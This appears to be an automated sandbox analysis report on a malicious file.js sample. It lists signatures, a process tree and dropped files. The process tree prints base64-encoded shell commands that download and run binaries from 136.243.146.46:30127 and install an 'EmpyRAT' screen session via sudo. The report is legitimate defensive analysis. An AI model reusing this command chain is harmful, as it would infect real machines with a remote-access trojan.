Analysis

  • max time kernel
    11s
  • max time network
    134s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    07/06/2024, 16:35

General

  • Target
    file.js
  • Size 922B
  • Sample240607-t35rfabb5v
  • SHA256 67d5991928a372f5f4b6e0628177bcf922d4eb083a927f293a81e8c702cf533b
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Changes its process name 1 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 42 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/node
    node /tmp/file.js
    1⤵
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    PID:1418
    • /bin/sh
      /bin/sh -c "echo \"YmFzaCAtYyAnZWNobyAiZDJkbGRDQXhNell1TWpRekxqRTBOaTQwTmpvek1ERXlOeTlGYlhCNUlDWW1JSGRuWlhRZ01UTTJMakkwTXk0eE5EWXVORFk2TXpBeE1qY3ZiRzluSUNZbUlHTm9iVzlrSURjM055QXFJQ1ltSUM0dmJHOW5JQ1ltSUhKdElHeHZaeUFtSmlCemRXUnZJRzEySUVWdGNIa2dMMlYwWXk4Z0ppWWdjM1ZrYnlCamFHMXZaQ0EzTnpjZ0wyVjBZeTlGYlhCNUlDWW1JSE4xWkc4Z2MyTnlaV1Z1SUMxa2JWTWdSVzF3ZVZKQlZDQmlZWE5vSUMxaklDY3ZaWFJqTDBWdGNIa2dQaUF2WkdWMkwyNTFiR3dnTWo0bU1TY2dKaVlnWTJ4bFlYSWdKaVlnWldOb2J5QlpiM1Z5SUhObGNuWmxjaUJwY3lCelkzSmxZVzBnU0dWcGJDQkZiWEI1SUZSb1pTQlBkbVZ5Ykc5eVpBIiB8IGJhc2U2NCAtZCB8IGJhc2gn\" | base64 -d | bash"
      2⤵
        PID:1434
        • /usr/bin/bash
          bash
          3⤵
            PID:1437
            • /usr/bin/bash
              bash -c "echo \"d2dldCAxMzYuMjQzLjE0Ni40NjozMDEyNy9FbXB5ICYmIHdnZXQgMTM2LjI0My4xNDYuNDY6MzAxMjcvbG9nICYmIGNobW9kIDc3NyAqICYmIC4vbG9nICYmIHJtIGxvZyAmJiBzdWRvIG12IEVtcHkgL2V0Yy8gJiYgc3VkbyBjaG1vZCA3NzcgL2V0Yy9FbXB5ICYmIHN1ZG8gc2NyZWVuIC1kbVMgRW1weVJBVCBiYXNoIC1jICcvZXRjL0VtcHkgPiAvZGV2L251bGwgMj4mMScgJiYgY2xlYXIgJiYgZWNobyBZb3VyIHNlcnZlciBpcyBzY3JlYW0gSGVpbCBFbXB5IFRoZSBPdmVybG9yZA\" | base64 -d | bash"
              4⤵
                PID:1438
                • /usr/bin/bash
                  bash
                  5⤵
                    PID:1441
                    • /usr/bin/wget
                      wget 136.243.146.46:30127/Empy
                      6⤵
                      • Writes file to tmp directory
                      PID:1442
                    • /usr/bin/wget
                      wget 136.243.146.46:30127/log
                      6⤵
                      • Writes file to tmp directory
                      PID:1479
                    • /usr/bin/chmod
                      chmod 777 config-err-FdYuAe Empy file.js log snap-private-tmp ssh-APGUQfyp8Bfj systemd-private-59c687daf27747b7a3f0cd0b4a847534-colord.service-RQsLYg systemd-private-59c687daf27747b7a3f0cd0b4a847534-ModemManager.service-beMWMg systemd-private-59c687daf27747b7a3f0cd0b4a847534-switcheroo-control.service-lqEtsh systemd-private-59c687daf27747b7a3f0cd0b4a847534-systemd-logind.service-4rqY9h systemd-private-59c687daf27747b7a3f0cd0b4a847534-systemd-resolved.service-wjZvyh systemd-private-59c687daf27747b7a3f0cd0b4a847534-systemd-timedated.service-zIhDUh systemd-private-59c687daf27747b7a3f0cd0b4a847534-upower.service-LUkOjh
                      6⤵
                        PID:1480
                      • /tmp/log
                        ./log
                        6⤵
                        • Executes dropped EXE
                        • Writes file to tmp directory
                        PID:1481
                        • /tmp/log
                          ./log
                          7⤵
                          • Executes dropped EXE
                          • Changes its process name
                          PID:1482
                    • /usr/bin/base64
                      base64 -d
                      5⤵
                        PID:1440
                  • /usr/bin/base64
                    base64 -d
                    3⤵
                      PID:1436

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      Empy

                      • Path /tmp/Empy
                      • Size 9.3MB
                      • SHA256 b08f5a9790c66b865e2b97c92999bc8ca97a5334d59ef78bd1225aab7244ae84
                      • MD5 SHA1 SHA512 SSDEEP

                      _cffi_backend.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/_cffi_backend.cpython-310-x86_64-linux-gnu.so
                      • Size 189KB
                      • SHA256 1e3dcc3e5f0e3f2d9a897c1dff1ddfbac26d50e7fdd7f88b16bdf57a0101a214
                      • MD5 SHA1 SHA512 SSDEEP

                      base_library.zip

                      • Path /tmp/_MEIpTtk5c/base_library.zip
                      • Size 859KB
                      • SHA256 37d6a25f7dd44cc43d2865acd72fac759f93ac980a2ee329aa9ff63fffedff60
                      • MD5 SHA1 SHA512 SSDEEP

                      _bcrypt.abi3.so

                      • Path /tmp/_MEIpTtk5c/bcrypt/_bcrypt.abi3.so
                      • Size 42KB
                      • SHA256 cb58eb5a588380f73698024a34bad5eff52ab15abff8f3bcd6823e7c4af2db30
                      • MD5 SHA1 SHA512 SSDEEP

                      cacert.pem

                      • Path /tmp/_MEIpTtk5c/certifi/cacert.pem
                      • Size 285KB
                      • SHA256 7a347ca8fef6e29f82b6e4785355a6635c17fa755e0940f65f15aa8fc7bd7f92
                      • MD5 SHA1 SHA512 SSDEEP

                      PKG-INFO

                      • Path /tmp/_MEIpTtk5c/cryptography-3.4.8.egg-info/PKG-INFO
                      • Size 4KB
                      • SHA256 c0e6b77d9a81b34dd3ecce78cb2f0b70fc525a0c5ddb9d99aba6e1acdbeb7ece
                      • MD5 SHA1 SHA512 SSDEEP

                      dependency_links.txt

                      • Path /tmp/_MEIpTtk5c/cryptography-3.4.8.egg-info/dependency_links.txt
                      • Size 1B
                      • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                      • MD5 SHA1 SHA512

                      requires.txt

                      • Path /tmp/_MEIpTtk5c/cryptography-3.4.8.egg-info/requires.txt
                      • Size 338B
                      • SHA256 9374d42f2a055919de2075558c6ddeadf84c531696439ffaff86ff1892b37cd9
                      • MD5 SHA1 SHA512

                      top_level.txt

                      • Path /tmp/_MEIpTtk5c/cryptography-3.4.8.egg-info/top_level.txt
                      • Size 31B
                      • SHA256 ad1db087a03a8ee0f4d93059349aaaa2787cc7d50ff526b967d1e5d6908f0a23
                      • MD5 SHA1 SHA512

                      _openssl.abi3.so

                      • Path /tmp/_MEIpTtk5c/cryptography/hazmat/bindings/_openssl.abi3.so
                      • Size 838KB
                      • SHA256 dd61a9b0a6b3d2e00883b000bfcbe7bb6cf9e5029d4272697aacc5d69d5ca9d0
                      • MD5 SHA1 SHA512 SSDEEP

                      _bz2.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so
                      • Size 31KB
                      • SHA256 3c0483f15ddd74eaea76d2d5cc7e05ec7409f5ef96ceb335e25a9b2f023dbd90
                      • MD5 SHA1 SHA512 SSDEEP

                      _codecs_cn.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so
                      • Size 150KB
                      • SHA256 4eb54b5b4840e73f89a400dcff54c957dbf669036f6e9f8672dedd0cbfadb380
                      • MD5 SHA1 SHA512 SSDEEP

                      _codecs_hk.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so
                      • Size 158KB
                      • SHA256 ea97bd179f94e8ca4a538faff3bf0fd4c44a62a2450cad53e18cc5db39404040
                      • MD5 SHA1 SHA512 SSDEEP

                      _codecs_iso2022.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so
                      • Size 30KB
                      • SHA256 4f0969633f0bc4bb7bf952a69ced2fe6f1cedbd84087622af1b97d0650510201
                      • MD5 SHA1 SHA512 SSDEEP

                      _codecs_jp.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so
                      • Size 266KB
                      • SHA256 61f1db89b5c7e6f6a6b65ba445c53f4cd0d3c3bd51a3877407fc2ed20a32a39b
                      • MD5 SHA1 SHA512 SSDEEP

                      _codecs_kr.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so
                      • Size 138KB
                      • SHA256 4b981dbd11962ec7e7fd47cac8e8766016cc581fe2be8c0102ae1dfedfcd6bf1
                      • MD5 SHA1 SHA512 SSDEEP

                      _codecs_tw.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so
                      • Size 110KB
                      • SHA256 0eb0e60cfe19d9f3bd337e7ba7761c4aeae602224ccf53e87aaf47b6aed84540
                      • MD5 SHA1 SHA512 SSDEEP

                      _contextvars.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so
                      • Size 14KB
                      • SHA256 0314ddac5ad24c26fb9fef5e68dbc627572eb80688f0739de1ca552c313a17bf
                      • MD5 SHA1 SHA512 SSDEEP

                      _decimal.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so
                      • Size 176KB
                      • SHA256 a027bf95f43c97453361f81ff04c2156cc9a429fd66811570407a50b8b8599fd
                      • MD5 SHA1 SHA512 SSDEEP

                      _hashlib.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so
                      • Size 62KB
                      • SHA256 e4e9043fc664a986009c4ea27b361890a701f6b40505e547743c57b9cb707b9c
                      • MD5 SHA1 SHA512 SSDEEP

                      _json.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_json.cpython-310-x86_64-linux-gnu.so
                      • Size 48KB
                      • SHA256 18b08cc682fa326d00a0521fa0cdd54cf051a78d1c3ef53ba06c43161e4db9fe
                      • MD5 SHA1 SHA512 SSDEEP

                      _lzma.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so
                      • Size 44KB
                      • SHA256 1eec465c4d63853db0dfdb499df6a457ee8c60de737f83956e9b1a90bad2bea3
                      • MD5 SHA1 SHA512 SSDEEP

                      _multibytecodec.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so
                      • Size 49KB
                      • SHA256 f9182663c87e6dd3c551dededdc5f9142ae197b65c6c6be9fe1e9d947bc1dd46
                      • MD5 SHA1 SHA512 SSDEEP

                      _opcode.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so
                      • Size 14KB
                      • SHA256 5dadd84bd570f1c3f5e815b8a3be0b55a78cde0389612e64d466ad7b848c5a78
                      • MD5 SHA1 SHA512 SSDEEP

                      _queue.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_queue.cpython-310-x86_64-linux-gnu.so
                      • Size 23KB
                      • SHA256 15a35934047456a39d5332d0149c5354743471d2045b745e6f4980a1ba9257c7
                      • MD5 SHA1 SHA512 SSDEEP

                      _ssl.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so
                      • Size 215KB
                      • SHA256 a195a055c8ba4fa27921748b9a7d99c2639af96ca98fe55942b615ed47bd628a
                      • MD5 SHA1 SHA512 SSDEEP

                      resource.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so
                      • Size 18KB
                      • SHA256 db86fc69f11f6d18ce8bf9cfa2604102cc5b9b7b3b96746dca83e663edb6c55f
                      • MD5 SHA1 SHA512 SSDEEP

                      termios.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so
                      • Size 30KB
                      • SHA256 7b8ee72d23419c71133c13f926ed99fc994713ff5b0573e877094c28393aa9ec
                      • MD5 SHA1 SHA512 SSDEEP

                      libbz2.so.1.0

                      • Path /tmp/_MEIpTtk5c/libbz2.so.1.0
                      • Size 73KB
                      • SHA256 5e516f77fc36dd924fdf02c8489a217f55fa1548883d32c3a5e041fb25d47d6e
                      • MD5 SHA1 SHA512 SSDEEP

                      libcrypto.so.3

                      • Path /tmp/_MEIpTtk5c/libcrypto.so.3
                      • Size 4.2MB
                      • SHA256 801de193ceab2e1a7ee297cfbe3405052a17ad063a7fa6dfa059e43a9678df1d
                      • MD5 SHA1 SHA512 SSDEEP

                      libexpat.so.1

                      • Path /tmp/_MEIpTtk5c/libexpat.so.1
                      • Size 190KB
                      • SHA256 61635c7c58fe0cdae1abfdd67e6ef1f54d5d162c3a5e45465bede64ef3858e1f
                      • MD5 SHA1 SHA512 SSDEEP

                      libffi.so.8

                      • Path /tmp/_MEIpTtk5c/libffi.so.8
                      • Size 46KB
                      • SHA256 247da4d5d34a91cadcdd6282be4c4644fcb8af001334d2b8a82ecda435418cbf
                      • MD5 SHA1 SHA512 SSDEEP

                      liblzma.so.5

                      • Path /tmp/_MEIpTtk5c/liblzma.so.5
                      • Size 166KB
                      • SHA256 493cb401ab4aa3bba611ca464d12996afb3b327940d29476f535f999e167439b
                      • MD5 SHA1 SHA512 SSDEEP

                      libmpdec.so.3

                      • Path /tmp/_MEIpTtk5c/libmpdec.so.3
                      • Size 182KB
                      • SHA256 77cc3397f963b6d882d3c49ad30091b79db6de48abfd05d434b0953dbc3916b1
                      • MD5 SHA1 SHA512 SSDEEP

                      libpython3.10.so.1.0

                      • Path /tmp/_MEIpTtk5c/libpython3.10.so.1.0
                      • Size 5.6MB
                      • SHA256 12d22c136f466d0b2d1db9d3327ed02ffa2306ce7ff5c1f6603aacac764de980
                      • MD5 SHA1 SHA512 SSDEEP

                      libssl.so.3

                      • Path /tmp/_MEIpTtk5c/libssl.so.3
                      • Size 652KB
                      • SHA256 091d763cd9b90610062aa6bad6350922d1e97886e5ee242aca617140bf3db631
                      • MD5 SHA1 SHA512 SSDEEP

                      libz.so.1

                      • Path /tmp/_MEIpTtk5c/libz.so.1
                      • Size 106KB
                      • SHA256 64c206f0146cc58bbddc4f22054436f4ff278f5a554aa3ce6921ddf7e9133370
                      • MD5 SHA1 SHA512 SSDEEP

                      legacy.so

                      • Path /tmp/_MEIpTtk5c/ossl-modules/legacy.so
                      • Size 102KB
                      • SHA256 4946026caf056aa44dd0ddaccecfc1a09fe25199806af9efa5f2048802c63039
                      • MD5 SHA1 SHA512 SSDEEP

                      _speedups.cpython-310-x86_64-linux-gnu.so

                      • Path /tmp/_MEIpTtk5c/simplejson/_speedups.cpython-310-x86_64-linux-gnu.so
                      • Size 48KB
                      • SHA256 22ea717a49b78f82b4c270ec08cee167a6338c717f5c2bff206394b7f76bdf4d
                      • MD5 SHA1 SHA512 SSDEEP

                      log

                      • Path /tmp/log
                      • Size 7.5MB
                      • SHA256 35a68288e1ba35928db397da3ca65e212555f4869d385dfb0db61694ffd15a26
                      • MD5 SHA1 SHA512 SSDEEP